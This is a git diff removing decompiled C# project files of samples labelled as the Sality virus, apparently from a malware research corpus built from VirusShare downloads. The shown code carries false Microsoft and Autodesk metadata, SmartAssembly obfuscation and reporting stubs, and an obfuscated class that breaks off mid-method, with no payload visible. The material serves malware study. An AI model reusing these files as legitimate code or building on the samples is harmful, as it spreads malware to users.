AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Gb3JtU3RhcnRQb3NpdGlvbgEAAAAHdmFsdWVfXwAIAgAAAAEAAAAL - - - $this - - - True - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5TaXplRgIAAAAFd2lkdGgGaGVpZ2h0AAALCwIAAAAAAMBAAABQQQs= - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Properties/Settings.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Properties/Settings.cs deleted file mode 100644 index f64b66db..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Properties/Settings.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.Properties.Settings -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Autodesk.AutoCAD.ADMigrator.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default => Settings.defaultInstance; - - [DefaultSettingValue("")] - [UserScopedSetting] - [DebuggerNonUserCode] - public string ImportInitialDirectory - { - get => (string) this[nameof (ImportInitialDirectory)]; - set => this[nameof (ImportInitialDirectory)] = (object) value; - } - - [DebuggerNonUserCode] - [DefaultSettingValue("")] - [UserScopedSetting] - public string ExportInitialDirectory - { - get => (string) this[nameof (ExportInitialDirectory)]; - set => this[nameof (ExportInitialDirectory)] = (object) value; - } - - private void SettingChangingEventHandler(object sender, SettingChangingEventArgs e) - { - } - - private void SettingsSavingEventHandler(object sender, CancelEventArgs e) - { - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Virus.Win32.Sality.sil.csproj b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Virus.Win32.Sality.sil.csproj deleted file mode 100644 index 374d84eb..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Virus.Win32.Sality.sil.csproj +++ /dev/null @@ -1,66 +0,0 @@ - - - - - Debug - AnyCPU - {4B43690F-1857-42BC-BBCD-482582DF703F} - WinExe - ADMigrator - 18.0.0.0 - Autodesk.AutoCAD.ADMigrator - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Virus.Win32.Sality.sil.sln b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Virus.Win32.Sality.sil.sln deleted file mode 100644 index be92953d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Virus.Win32.Sality.sil.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ADMigrator", "Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.csproj", "{4B43690F-1857-42BC-BBCD-482582DF703F}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {4B43690F-1857-42BC-BBCD-482582DF703F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {4B43690F-1857-42BC-BBCD-482582DF703F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4B43690F-1857-42BC-BBCD-482582DF703F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {4B43690F-1857-42BC-BBCD-482582DF703F}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/AssemblyInfo.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/AssemblyInfo.cs deleted file mode 100644 index 4c0ed9fc..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: Guid("3c0f2080-510a-4834-a1b6-c4dd6b4c4bff")] -[assembly: AssemblyCompany("Microsoft")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: AssemblyCopyright("Copyright © Microsoft 2010")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyTitle("syncui")] -[assembly: AssemblyProduct("syncui")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index d354312e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using SmartAssembly.SmartExceptionsCore; -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - try - { - } - catch (Exception ex) - { - string str = s; - throw UnhandledException.\u0003(ex, (object) this, (object) str); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/Attributes/Token2000130.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/Attributes/Token2000130.cs deleted file mode 100644 index 316cd8d3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/Attributes/Token2000130.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.Token2000130 -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace SmartAssembly.Attributes -{ - internal class Token2000130 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/ReportingService.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/ReportingService.cs deleted file mode 100644 index 62a18a26..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/ReportingService.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.SmartExceptionsCore.ReportingService -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using System; -using System.Web.Services; -using System.Web.Services.Protocols; -using System.Xml.Serialization; - -namespace SmartAssembly.SmartExceptionsCore -{ - [WebServiceBinding(Name = "ReportingServiceSoap", Namespace = "http://www.smartassembly.com/webservices/Reporting/")] - internal sealed class ReportingService : SoapHttpClientProtocol - { - [NonSerialized] - internal static \u0002 \u0001; - - public ReportingService(string serverURL) - { - \u0096\u0004.\u0004((object) this, \u0010\u0003.\u0095\u0003(serverURL, ReportingService.\u0001(3121))); - \u0004\u0004.\u0005((object) this, 180000); - } - - [SoapDocumentMethod("http://www.smartassembly.com/webservices/Reporting/UploadReport2")] - public string UploadReport2(string licenseID, [XmlElement(DataType = "base64Binary")] byte[] data) => (string) \u0089\u0004.\u0008((object) this, ReportingService.\u0001(3142), new object[2] - { - (object) licenseID, - (object) data - })[0]; - - static ReportingService() => \u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/Token200012D.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/Token200012D.cs deleted file mode 100644 index 1dd63cbe..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/Token200012D.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.SmartExceptionsCore.Token200012D -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace SmartAssembly.SmartExceptionsCore -{ - internal class Token200012D : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/UnhandledException.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/UnhandledException.cs deleted file mode 100644 index c35ce30a..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/UnhandledException.cs +++ /dev/null @@ -1,290 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.SmartExceptionsCore.UnhandledException -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0003; -using System; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Runtime.Serialization; - -namespace SmartAssembly.SmartExceptionsCore -{ - [Serializable] - public sealed class UnhandledException : Exception - { - [NonSerialized] - internal static \u0002 \u0001; - public int MethodID; - public object[] Objects; - public int ILOffset; - private Exception previousException; - - internal Exception \u0003() => this.previousException; - - public static Exception \u0003([In] Exception obj0) => UnhandledException.\u0003(obj0, new object[0]); - - public static Exception \u0003([In] Exception obj0, [In] object obj1) => UnhandledException.\u0003(obj0, new object[1] - { - obj1 - }); - - public static Exception \u0003([In] Exception obj0, [In] object obj1, [In] object obj2) => UnhandledException.\u0003(obj0, new object[2] - { - obj1, - obj2 - }); - - public static Exception \u0003([In] Exception obj0, [In] object obj1, [In] object obj2, [In] object obj3) => UnhandledException.\u0003(obj0, new object[3] - { - obj1, - obj2, - obj3 - }); - - public static Exception \u0003( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4) - { - return UnhandledException.\u0003(obj0, new object[4] - { - obj1, - obj2, - obj3, - obj4 - }); - } - - public static Exception \u0003( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5) - { - return UnhandledException.\u0003(obj0, new object[5] - { - obj1, - obj2, - obj3, - obj4, - obj5 - }); - } - - public static Exception \u0003( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6) - { - return UnhandledException.\u0003(obj0, new object[6] - { - obj1, - obj2, - obj3, - obj4, - obj5, - obj6 - }); - } - - public static Exception \u0003( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6, - [In] object obj7) - { - return UnhandledException.\u0003(obj0, new object[7] - { - obj1, - obj2, - obj3, - obj4, - obj5, - obj6, - obj7 - }); - } - - public static Exception \u0003( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6, - [In] object obj7, - [In] object obj8) - { - return UnhandledException.\u0003(obj0, new object[8] - { - obj1, - obj2, - obj3, - obj4, - obj5, - obj6, - obj7, - obj8 - }); - } - - public static Exception \u0003( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6, - [In] object obj7, - [In] object obj8, - [In] object obj9) - { - return UnhandledException.\u0003(obj0, new object[9] - { - obj1, - obj2, - obj3, - obj4, - obj5, - obj6, - obj7, - obj8, - obj9 - }); - } - - public static Exception \u0003( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6, - [In] object obj7, - [In] object obj8, - [In] object obj9, - [In] object obj10) - { - return UnhandledException.\u0003(obj0, new object[10] - { - obj1, - obj2, - obj3, - obj4, - obj5, - obj6, - obj7, - obj8, - obj9, - obj10 - }); - } - - public static Exception \u0003([In] Exception obj0, [In] object[] obj1) - { - if (\u0006.\u0001) - return (Exception) null; - int num1 = -1; - int num2 = -1; - try - { - StackTrace stackTrace = new StackTrace(obj0); - if (\u008A\u0005.\u007E\u0013\u0006((object) stackTrace) > 0) - { - StackFrame stackFrame = \u0082\u0005.\u007E\u0014\u0006((object) stackTrace, \u008A\u0005.\u007E\u0013\u0006((object) stackTrace) - 1); - num2 = (\u008A\u0005.\u007E\u000E\u0005((object) \u0080\u0003.\u007E\u0015\u0006((object) stackFrame)) & 16777215) - 1; - num1 = \u008A\u0005.\u007E\u0016\u0006((object) stackFrame); - } - } - catch - { - } - UnhandledException unhandledException = new UnhandledException(num2, obj1, num1, obj0); - if (obj0 is UnhandledException) - { - Exception exception = (obj0 as UnhandledException).\u0003(); - if (exception != null) - obj0 = exception; - } - Exception exception1 = obj0; - while (\u001B\u0004.\u007E\u0002\u0004((object) exception1) != null) - exception1 = \u001B\u0004.\u007E\u0002\u0004((object) exception1); - try - { - // ISSUE: type reference - FieldInfo fieldInfo = \u0096\u0002.\u007E\u0019\u0005((object) \u0084\u0003.\u0012\u0005(__typeref (Exception)), UnhandledException.\u0001(3466), BindingFlags.Instance | BindingFlags.NonPublic); - \u0001\u0005.\u007E\u0095\u0006((object) fieldInfo, (object) exception1, (object) unhandledException); - } - catch - { - } - return obj0; - } - - public override void GetObjectData([In] SerializationInfo obj0, [In] StreamingContext obj1) - { - \u0012\u0004.\u0004\u0004((object) this, obj0, obj1); - // ISSUE: type reference - \u008D\u0004.\u007E\u009B\u0006((object) obj0, UnhandledException.\u0001(3487), (object) this.MethodID, \u0084\u0003.\u0012\u0005(__typeref (int))); - // ISSUE: type reference - \u008D\u0004.\u007E\u009B\u0006((object) obj0, UnhandledException.\u0001(3524), (object) this.ILOffset, \u0084\u0003.\u0012\u0005(__typeref (int))); - // ISSUE: type reference - \u008D\u0004.\u007E\u009B\u0006((object) obj0, UnhandledException.\u0001(3561), (object) this.previousException, \u0084\u0003.\u0012\u0005(__typeref (Exception))); - int num = this.Objects == null ? 0 : this.Objects.Length; - // ISSUE: type reference - \u008D\u0004.\u007E\u009B\u0006((object) obj0, UnhandledException.\u0001(3610), (object) num, \u0084\u0003.\u0012\u0005(__typeref (int))); - for (int index = 0; index < num; ++index) - { - // ISSUE: type reference - \u008D\u0004.\u007E\u009B\u0006((object) obj0, \u0086\u0005.\u0092\u0003(UnhandledException.\u0001(3655), (object) index), this.Objects[index], \u0084\u0003.\u0012\u0005(__typeref (object))); - } - } - - internal UnhandledException([In] SerializationInfo obj0, [In] StreamingContext obj1) - : base(obj0, obj1) - { - this.MethodID = \u0016\u0003.\u007E\u009D\u0006((object) obj0, UnhandledException.\u0001(3487)); - this.ILOffset = \u0016\u0003.\u007E\u009D\u0006((object) obj0, UnhandledException.\u0001(3524)); - // ISSUE: type reference - this.previousException = (Exception) \u0092\u0002.\u007E\u009C\u0006((object) obj0, UnhandledException.\u0001(3561), \u0084\u0003.\u0012\u0005(__typeref (Exception))); - int length = \u0016\u0003.\u007E\u009D\u0006((object) obj0, UnhandledException.\u0001(3610)); - this.Objects = new object[length]; - for (int index = 0; index < length; ++index) - { - // ISSUE: type reference - this.Objects[index] = \u0092\u0002.\u007E\u009C\u0006((object) obj0, \u0086\u0005.\u0092\u0003(UnhandledException.\u0001(3655), (object) index), \u0084\u0003.\u0012\u0005(__typeref (object))); - } - } - - internal UnhandledException([In] int obj0, [In] object[] obj1, [In] int obj2, [In] Exception obj3) - : base(string.Format(UnhandledException.\u0001(3700), (object) obj0, (object) obj2)) - { - this.MethodID = obj0; - this.Objects = obj1; - this.ILOffset = obj2; - this.previousException = obj3; - } - - static UnhandledException() => \u0001.\u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/UploadReportLoginService.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/UploadReportLoginService.cs deleted file mode 100644 index fef3f775..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/SmartExceptionsCore/UploadReportLoginService.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.SmartExceptionsCore.UploadReportLoginService -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using System; -using System.Web.Services; -using System.Web.Services.Protocols; - -namespace SmartAssembly.SmartExceptionsCore -{ - [WebServiceBinding(Name = "LoginServiceSoap", Namespace = "http://www.smartassembly.com/webservices/UploadReportLogin/")] - internal sealed class UploadReportLoginService : SoapHttpClientProtocol - { - [NonSerialized] - internal static \u0002 \u0001; - - public UploadReportLoginService() - { - \u0096\u0004.\u0004((object) this, UploadReportLoginService.\u0001(3018)); - \u0004\u0004.\u0005((object) this, 30000); - } - - [SoapDocumentMethod("http://www.smartassembly.com/webservices/UploadReportLogin/GetServerURL")] - public string GetServerURL(string licenseID) => (string) \u0089\u0004.\u0008((object) this, UploadReportLoginService.\u0001(3103), new object[1] - { - (object) licenseID - })[0]; - - static UploadReportLoginService() => \u0003.\u0003(); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/Virus.Win32.Sality.sil.csproj b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/Virus.Win32.Sality.sil.csproj deleted file mode 100644 index e2b7532c..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/Virus.Win32.Sality.sil.csproj +++ /dev/null @@ -1,309 +0,0 @@ - - - - - Debug - AnyCPU - {117F2DEF-6966-4845-AA1C-99A5AD42700A} - WinExe - a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - true - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/Virus.Win32.Sality.sil.sln b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/Virus.Win32.Sality.sil.sln deleted file mode 100644 index 4beceff3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/Virus.Win32.Sality.sil.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe", "Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.csproj", "{117F2DEF-6966-4845-AA1C-99A5AD42700A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {117F2DEF-6966-4845-AA1C-99A5AD42700A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {117F2DEF-6966-4845-AA1C-99A5AD42700A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {117F2DEF-6966-4845-AA1C-99A5AD42700A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {117F2DEF-6966-4845-AA1C-99A5AD42700A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/Token2000129.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/Token2000129.cs deleted file mode 100644 index d113d684..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/Token2000129.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token2000129 -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0001 -{ - internal class Token2000129 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0001.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0001.cs deleted file mode 100644 index 0f72dbb7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0001/_0001.cs +++ /dev/null @@ -1,125 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0001 -{ - internal sealed class \u0001 - { - private static \u0001.\u0001 \u0001; - private long \u0001; - - [DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")] - private static extern int \u0003( - IntPtr process, - int minimumWorkingSetSize, - int maximumWorkingSetSize); - - private void \u0003() - { - Process currentProcess; - try - { - try - { - currentProcess = Process.GetCurrentProcess(); - try - { - 